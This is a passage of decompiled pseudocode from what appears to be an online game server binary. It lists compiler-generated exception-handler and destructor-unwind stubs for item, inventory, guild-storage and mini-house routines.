_L164523(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595090) -------------------------------------------------------- void __usercall _L161598(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595098) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_StoreItem_ShinePlayer_ShineObjectClass__UAEXPATITEM_INVEN__PAUItemTotalInformation__0_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005950B0) -------------------------------------------------------- void __usercall _L160271(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (005950BB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_Script_CostumeCreate_ShinePlayer_ShineObjectClass__UAEEGGPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005950F0) -------------------------------------------------------- void __usercall _L160952(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 312)); } //----- (005950FB) -------------------------------------------------------- void __usercall _L160953(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (00595106) -------------------------------------------------------- void __usercall _L160954(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 308)); } //----- (00595111) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_InvenWrite_ShinePlayer_ShineObjectClass__UAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595120) -------------------------------------------------------- void __usercall _L161215(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (0059512B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595140) -------------------------------------------------------- void __usercall _L161487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00595148) -------------------------------------------------------- void __usercall _L161488(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 48)); } //----- (00595150) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_CostumWeaponChargeDecrease_ShinePlayer_ShineObjectClass__UAEXEPBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595160) -------------------------------------------------------- void __usercall _L160576(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595168) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_GUILD_TOKEN_BUYFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595180) -------------------------------------------------------- void __usercall _L159871(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059518B) -------------------------------------------------------- void __usercall _L159872(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 160)); } //----- (00595196) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__igs_BuyAll_ItemGuildStorage__QAEXPAVShinePlayer_ShineObjectClass__GPAUPROTO_NC_ITEM_BUY_REQ__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005951A0) -------------------------------------------------------- void __usercall _L160140(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 92)); } //----- (005951A8) -------------------------------------------------------- void __usercall _L160142(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 68)); } //----- (005951B0) -------------------------------------------------------- void __usercall _L160143(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 52)); } //----- (005951D0) -------------------------------------------------------- void __usercall _L160681(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 68)); } //----- (005951D8) -------------------------------------------------------- void __usercall _L160682(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005951E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ItemBuyGuildToken_ShinePlayer_ShineObjectClass__UAEXKPAUPROTO_NC_ITEM_BUY_REQ___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005951F0) -------------------------------------------------------- void __usercall _L159564(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005951F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_QUESTREWARD_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595210) -------------------------------------------------------- void __usercall _L159211(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00595218) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DestroyItem_ShinePlayer_ShineObjectClass__QAEEGGAAVItemBag__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595230) -------------------------------------------------------- void __usercall _L159289_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059523B) -------------------------------------------------------- void __usercall _L159290(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 152)); } //----- (00595250) -------------------------------------------------------- void __usercall _L159612(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00595258) -------------------------------------------------------- void __usercall _L159613_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (00595260) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_GetItemInvenLot_ShinePlayer_ShineObjectClass__QAEHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595270) -------------------------------------------------------- void __usercall _L159769_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00595278) -------------------------------------------------------- void __usercall _L159770_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595290) -------------------------------------------------------- void __usercall _L159870(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059529B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MakeItem_ShinePlayer_ShineObjectClass__QAEEGHGH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005952B0) -------------------------------------------------------- void __usercall _L159376(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005952B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_DISMANTLE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005952D0) -------------------------------------------------------- void __usercall _L158950(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005952DB) -------------------------------------------------------- void __usercall _L158951(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 296)); } //----- (005952E6) -------------------------------------------------------- void __usercall _L158952(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 312)); } //----- (00595300) -------------------------------------------------------- void __usercall _L159258(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8620)); } //----- (0059530B) -------------------------------------------------------- void __cdecl _L159260() { ItemDismantleProducer::_ItemDismantleProducer(); } //----- (00595316) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_DISMANTLE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595320) -------------------------------------------------------- void __usercall _L159729(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595328) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_DROPLOTFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595340) -------------------------------------------------------- void __usercall _L159046(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059534B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ii_DropLot_ItemInventory__QAEXPAVShinePlayer_ShineObjectClass__GPAUPROTO_NC_ITEM_DROP_REQ__PAVItemInventoryCell___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595360) -------------------------------------------------------- void __usercall _L159163(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00595368) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_DROP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595380) -------------------------------------------------------- void __usercall _L158933(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 316)); } //----- (0059538B) -------------------------------------------------------- void __usercall _L158935(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 260)); } //----- (00595396) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_EQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005953A0) -------------------------------------------------------- void __usercall _L159278_1(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005953A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_RINGEQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005953C0) -------------------------------------------------------- void __usercall _L159487(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005953C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_EQUIPFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005953E0) -------------------------------------------------------- void __usercall _L161204_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005953E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemOperateList__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595400) -------------------------------------------------------- void __usercall _L161175(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595408) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_KQRewardIndex_ShinePlayer_ShineObjectClass__UAEXPAE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595420) -------------------------------------------------------- void __usercall _L160586(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1024)); } //----- (0059542B) -------------------------------------------------------- void __usercall _L160587(int a1) { TreasureChestMaker::_TreasureChestMaker((TreasureChestMaker *)(a1 - 1020)); } //----- (00595436) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_KQReward_ShinePlayer_ShineObjectClass__QAEXPBUKINGDOM_QUEST_REW___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595440) -------------------------------------------------------- void __usercall _L161107(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00595448) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VItemOperateElement____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595460) -------------------------------------------------------- void __usercall _L159408(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00595468) -------------------------------------------------------- void __usercall _L159409_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595470) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ii_PickAll_ItemInventory__QAEEPAVShinePlayer_ShineObjectClass__PAVShineObject_3_GPAUItemTotalInformation__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595480) -------------------------------------------------------- void __usercall _L160800(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595488) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_PICK_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005954A0) -------------------------------------------------------- void __usercall _L159617(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (005954A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_partyitemdistribute_ShinePlayer_ShineObjectClass__QAEXPAVShineObject_2_PAUItemTotalInformation__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005954C0) -------------------------------------------------------- void __usercall _L159712(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (005954C8) -------------------------------------------------------- void __usercall _L159713(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005954D0) -------------------------------------------------------- void __usercall _L159714(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 44)); } //----- (005954D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_PickupItem_ShinePlayer_ShineObjectClass__UAEEPAVShineObject_2_PAUItemTotalInformation__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005954F0) -------------------------------------------------------- void __usercall _L160744(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (005954FB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_itempickresult_ShinePlayer_ShineObjectClass__UAEXGG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595510) -------------------------------------------------------- void __usercall _L163672(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00595518) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MINIHOUSE_ACTIV_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595530) -------------------------------------------------------- void __usercall _L161302(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0059553B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__irm_Merge_ItemRelocationManager__QAEXGPAVShinePlayer_ShineObjectClass__PAUIterRelocationArgument__1H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595550) -------------------------------------------------------- void __usercall _L161535(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 256)); } //----- (0059555B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__irm_Split_N_Merge_ItemRelocationManager__QAEXGPAVShinePlayer_ShineObjectClass__PAUIterRelocationArgument__1H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595570) -------------------------------------------------------- void __usercall _L164221(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595578) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595590) -------------------------------------------------------- void __usercall _L162574(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00595598) -------------------------------------------------------- void __usercall _L162575(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 60)); } //----- (005955A0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_Move2MiniHouse_ShinePlayer_ShineObjectClass__QAEXPAVItemInventoryCell__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005955B0) -------------------------------------------------------- void __usercall _L162659(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005955B8) -------------------------------------------------------- void __usercall _L162660(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (005955C0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhs_Init_MiniHouseStr_ShinePlayer_ShineObjectClass__QAEGPAV23_PAVItemInventoryCell___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005955D0) -------------------------------------------------------- void __usercall _L162748_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (005955D8) -------------------------------------------------------- void __usercall _L162749_0(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (005955E0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_DecorationActivCheck_ShinePlayer_ShineObjectClass__IAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595610) -------------------------------------------------------- void __usercall _L163206(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (00595618) -------------------------------------------------------- void __usercall _L163207(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 124)); } //----- (00595620) -------------------------------------------------------- void __usercall _L163208(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 64)); } //----- (00595628) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mh_Move2MiniHouseFurniture_ShineMiniHouse_ShineObjectClass__UAEXPAVShineObject_2_PAVItemInventoryCell__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595660) -------------------------------------------------------- void __usercall _L163801(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (00595668) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_RELOC_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595680) -------------------------------------------------------- void __usercall _L164351_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (00595688) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_GuildStorageWithdrawAck_ShinePlayer_ShineObjectClass__UAEXPAUPROTO_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005956A0) -------------------------------------------------------- void __usercall _L159494(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005956A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_SELLFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005956C0) -------------------------------------------------------- void __usercall _L159175(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (005956E0) -------------------------------------------------------- void __usercall _L159285(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005956E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_SELL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595700) -------------------------------------------------------- void __usercall _L159236(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595708) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_SPLITFAIL_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595720) -------------------------------------------------------- void __usercall _L159340(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (00595740) -------------------------------------------------------- void __usercall _L159662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00595748) -------------------------------------------------------- void __usercall _L159663(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595750) -------------------------------------------------------- void __usercall _L159664(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00595760) -------------------------------------------------------- void __usercall _L159666(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (00595780) -------------------------------------------------------- void __usercall _L158594(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00595788) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_UNEQUIP_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005957A0) -------------------------------------------------------- void __usercall _L158843(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005957A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_UNEQUIPSUC_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005957C0) -------------------------------------------------------- void __usercall _L159973(int a1) { CardDeck::CardStack::_CardStack((CardDeck::CardStack *)(a1 - 60)); } //----- (005957C8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__item_RandomOptionUpgrade__YA_NPAUSHINE_ITEM_STRUCT__AAUElement_ItemOptionStorage__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005957E0) -------------------------------------------------------- void __usercall _L160435(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005957E8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__gds_NC_ITEMDB_UPGRADE_ACK_GameDBSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595800) -------------------------------------------------------- void __usercall _L160559_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00595808) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Item_Upgrade__YAEPAVShinePlayer_ShineObjectClass__PAVItemBag__EEEEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595820) -------------------------------------------------------- void __usercall _L160644(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 348)); } //----- (0059582B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_ITEM_UPGRADE_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595840) -------------------------------------------------------- void __usercall _L162305(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00595848) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ItemUseBroadcast_ShinePlayer_ShineObjectClass__QAEXPBUUIE_Functions_UseEffect__G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595860) -------------------------------------------------------- void __usercall _L162729_0(int a1) { 